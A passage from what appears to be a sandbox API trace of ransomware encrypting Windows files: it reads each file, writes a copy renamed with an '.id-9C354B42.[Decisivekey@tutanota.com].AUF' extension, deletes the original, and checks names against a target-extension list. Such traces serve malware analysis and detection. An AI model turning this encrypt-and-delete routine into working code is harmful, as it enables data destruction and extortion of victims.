lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x5540, lpOverlapped=0x0) returned 1 [0213.972] ReadFile (in: hFile=0x1f0, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0213.972] WriteFile (in: hFile=0x1e4, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0213.972] SetEndOfFile (hFile=0x1e4) returned 1 [0213.972] CloseHandle (hObject=0x1e4) returned 1 [0213.972] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.972] SetEndOfFile (hFile=0x1f0) returned 1 [0213.973] CloseHandle (hObject=0x1f0) returned 1 [0213.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0213.973] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png")) returned 1 [0213.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0213.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0213.973] lstrlenW (lpString=".doc") returned 4 [0213.974] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0213.974] lstrlenW (lpString=".docx") returned 5 [0213.974] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0213.974] lstrlenW (lpString=".pdf") returned 4 [0213.974] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0213.974] lstrlenW (lpString=".xls") returned 4 [0213.974] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0213.974] lstrlenW (lpString=".xlsx") returned 5 [0213.974] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0213.974] lstrlenW (lpString=".ppt") returned 4 [0213.974] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0213.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0213.974] lstrlenW (lpString=".zip") returned 4 [0213.974] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0213.974] lstrlenW (lpString=".rar") returned 4 [0213.974] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0213.974] lstrlenW (lpString=".bz2") returned 4 [0213.974] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0213.974] lstrlenW (lpString=".7z") returned 3 [0213.974] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0213.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0213.974] lstrlenW (lpString=".dbf") returned 4 [0213.974] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0213.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0213.974] lstrlenW (lpString=".1cd") returned 4 [0213.974] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0213.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0213.974] lstrlenW (lpString=".jpg") returned 4 [0213.974] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0213.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0213.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0213.974] lstrlenW (lpString=".doc") returned 4 [0213.974] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0213.974] lstrlenW (lpString=".docx") returned 5 [0213.974] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0213.974] lstrlenW (lpString=".pdf") returned 4 [0213.974] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0213.974] lstrlenW (lpString=".xls") returned 4 [0213.974] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0213.974] lstrlenW (lpString=".xlsx") returned 5 [0213.974] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0213.974] lstrlenW (lpString=".ppt") returned 4 [0213.974] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0213.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0213.974] lstrlenW (lpString=".zip") returned 4 [0213.974] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0213.974] lstrlenW (lpString=".rar") returned 4 [0213.974] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0213.974] lstrlenW (lpString=".bz2") returned 4 [0213.975] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0213.975] lstrlenW (lpString=".7z") returned 3 [0213.975] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0213.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0213.975] lstrlenW (lpString=".dbf") returned 4 [0213.975] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0213.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0213.975] lstrlenW (lpString=".1cd") returned 4 [0213.975] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0213.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0213.975] lstrlenW (lpString=".jpg") returned 4 [0213.975] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0213.975] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0213.975] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0213.975] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0214.386] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=19525) returned 1 [0214.386] CloseHandle (hObject=0x21c) returned 1 [0214.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png")) returned 0x20 [0214.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0214.386] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0214.386] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0214.386] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0214.386] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0214.387] GetLastError () returned 0x0 [0214.387] ReadFile (in: hFile=0x21c, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x4c45, lpOverlapped=0x0) returned 1 [0214.523] WriteFile (in: hFile=0x168, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x4c50, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x4c50, lpOverlapped=0x0) returned 1 [0214.524] ReadFile (in: hFile=0x21c, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0214.524] WriteFile (in: hFile=0x168, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0214.524] SetEndOfFile (hFile=0x168) returned 1 [0214.524] CloseHandle (hObject=0x168) returned 1 [0214.524] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0214.524] SetEndOfFile (hFile=0x21c) returned 1 [0214.525] CloseHandle (hObject=0x21c) returned 1 [0214.525] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0214.525] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png")) returned 1 [0214.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0214.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0214.525] lstrlenW (lpString=".doc") returned 4 [0214.525] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0214.525] lstrlenW (lpString=".docx") returned 5 [0214.525] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0214.526] lstrlenW (lpString=".pdf") returned 4 [0214.526] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0214.526] lstrlenW (lpString=".xls") returned 4 [0214.526] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0214.526] lstrlenW (lpString=".xlsx") returned 5 [0214.526] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0214.526] lstrlenW (lpString=".ppt") returned 4 [0214.526] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0214.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0214.526] lstrlenW (lpString=".zip") returned 4 [0214.526] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0214.526] lstrlenW (lpString=".rar") returned 4 [0214.526] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0214.526] lstrlenW (lpString=".bz2") returned 4 [0214.526] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0214.526] lstrlenW (lpString=".7z") returned 3 [0214.526] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0214.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0214.526] lstrlenW (lpString=".dbf") returned 4 [0214.526] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0214.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0214.526] lstrlenW (lpString=".1cd") returned 4 [0214.526] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0214.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0214.526] lstrlenW (lpString=".jpg") returned 4 [0214.526] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0214.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0214.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0214.526] lstrlenW (lpString=".doc") returned 4 [0214.526] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0214.526] lstrlenW (lpString=".docx") returned 5 [0214.526] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0214.526] lstrlenW (lpString=".pdf") returned 4 [0214.526] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0214.526] lstrlenW (lpString=".xls") returned 4 [0214.526] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0214.526] lstrlenW (lpString=".xlsx") returned 5 [0214.526] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0214.526] lstrlenW (lpString=".ppt") returned 4 [0214.526] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0214.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0214.526] lstrlenW (lpString=".zip") returned 4 [0214.526] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0214.526] lstrlenW (lpString=".rar") returned 4 [0214.526] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0214.526] lstrlenW (lpString=".bz2") returned 4 [0214.526] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0214.526] lstrlenW (lpString=".7z") returned 3 [0214.526] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0214.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0214.526] lstrlenW (lpString=".dbf") returned 4 [0214.526] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0214.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0214.527] lstrlenW (lpString=".1cd") returned 4 [0214.527] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0214.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0214.527] lstrlenW (lpString=".jpg") returned 4 [0214.527] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0214.599] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=2702) returned 1 [0214.599] CloseHandle (hObject=0x1e4) returned 1 [0214.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 0x20 [0214.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\services\\verisign.bmp.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0214.599] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0214.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0214.600] lstrlenW (lpString=".doc") returned 4 [0214.600] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0214.600] lstrlenW (lpString=".docx") returned 5 [0214.600] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0214.600] lstrlenW (lpString=".pdf") returned 4 [0214.600] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0214.600] lstrlenW (lpString=".xls") returned 4 [0214.600] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0214.600] lstrlenW (lpString=".xlsx") returned 5 [0214.600] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0214.600] lstrlenW (lpString=".ppt") returned 4 [0214.600] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0214.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0214.600] lstrlenW (lpString=".zip") returned 4 [0214.600] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0214.600] lstrlenW (lpString=".rar") returned 4 [0214.600] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0214.600] lstrlenW (lpString=".bz2") returned 4 [0214.600] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0214.600] lstrlenW (lpString=".7z") returned 3 [0214.600] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0214.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0214.601] lstrlenW (lpString=".dbf") returned 4 [0214.601] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0214.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0214.601] lstrlenW (lpString=".1cd") returned 4 [0214.601] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0214.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0214.601] lstrlenW (lpString=".jpg") returned 4 [0214.601] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0215.975] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0 [0215.975] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv") returned 77 [0215.975] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv") returned 77 [0215.975] lstrlenW (lpString=".doc") returned 4 [0215.975] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0215.975] lstrlenW (lpString=".docx") returned 5 [0215.975] lstrcmpiW (lpString1=".docx", lpString2="d.wmv") returned -1 [0215.975] lstrlenW (lpString=".pdf") returned 4 [0215.975] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0215.975] lstrlenW (lpString=".xls") returned 4 [0215.975] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0215.975] lstrlenW (lpString=".xlsx") returned 5 [0215.975] lstrcmpiW (lpString1=".xlsx", lpString2="d.wmv") returned -1 [0215.975] lstrlenW (lpString=".ppt") returned 4 [0215.975] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0215.975] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv") returned 77 [0215.975] lstrlenW (lpString=".zip") returned 4 [0215.975] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0215.975] lstrlenW (lpString=".rar") returned 4 [0215.975] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0215.975] lstrlenW (lpString=".bz2") returned 4 [0215.975] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0215.975] lstrlenW (lpString=".7z") returned 3 [0215.975] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0215.975] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv") returned 77 [0215.975] lstrlenW (lpString=".dbf") returned 4 [0215.975] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0215.975] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv") returned 77 [0215.975] lstrlenW (lpString=".1cd") returned 4 [0215.975] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0215.975] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv") returned 77 [0215.975] lstrlenW (lpString=".jpg") returned 4 [0215.975] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0215.994] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0215.994] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0215.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0215.994] GetLastError () returned 0x0 [0215.994] ReadFile (in: hFile=0x218, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x712e, lpOverlapped=0x0) returned 1 [0216.012] WriteFile (in: hFile=0x194, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x7130, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x7130, lpOverlapped=0x0) returned 1 [0216.013] ReadFile (in: hFile=0x218, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0216.013] WriteFile (in: hFile=0x194, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0216.013] SetEndOfFile (hFile=0x194) returned 1 [0216.013] CloseHandle (hObject=0x194) returned 1 [0216.013] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.013] SetEndOfFile (hFile=0x218) returned 1 [0216.014] CloseHandle (hObject=0x218) returned 1 [0216.014] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.014] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl")) returned 1 [0216.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0216.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0216.015] lstrlenW (lpString=".doc") returned 4 [0216.015] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0216.015] lstrlenW (lpString=".docx") returned 5 [0216.015] lstrcmpiW (lpString1=".docx", lpString2="t.xsl") returned -1 [0216.015] lstrlenW (lpString=".pdf") returned 4 [0216.015] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0216.015] lstrlenW (lpString=".xls") returned 4 [0216.015] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0216.015] lstrlenW (lpString=".xlsx") returned 5 [0216.015] lstrcmpiW (lpString1=".xlsx", lpString2="t.xsl") returned -1 [0216.015] lstrlenW (lpString=".ppt") returned 4 [0216.015] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0216.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0216.015] lstrlenW (lpString=".zip") returned 4 [0216.015] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0216.015] lstrlenW (lpString=".rar") returned 4 [0216.015] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0216.015] lstrlenW (lpString=".bz2") returned 4 [0216.015] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0216.015] lstrlenW (lpString=".7z") returned 3 [0216.015] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0216.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0216.015] lstrlenW (lpString=".dbf") returned 4 [0216.015] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0216.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0216.015] lstrlenW (lpString=".1cd") returned 4 [0216.015] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0216.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0216.015] lstrlenW (lpString=".jpg") returned 4 [0216.015] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0216.016] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=32146) returned 1 [0216.016] CloseHandle (hObject=0x218) returned 1 [0216.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl")) returned 0x20 [0216.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as 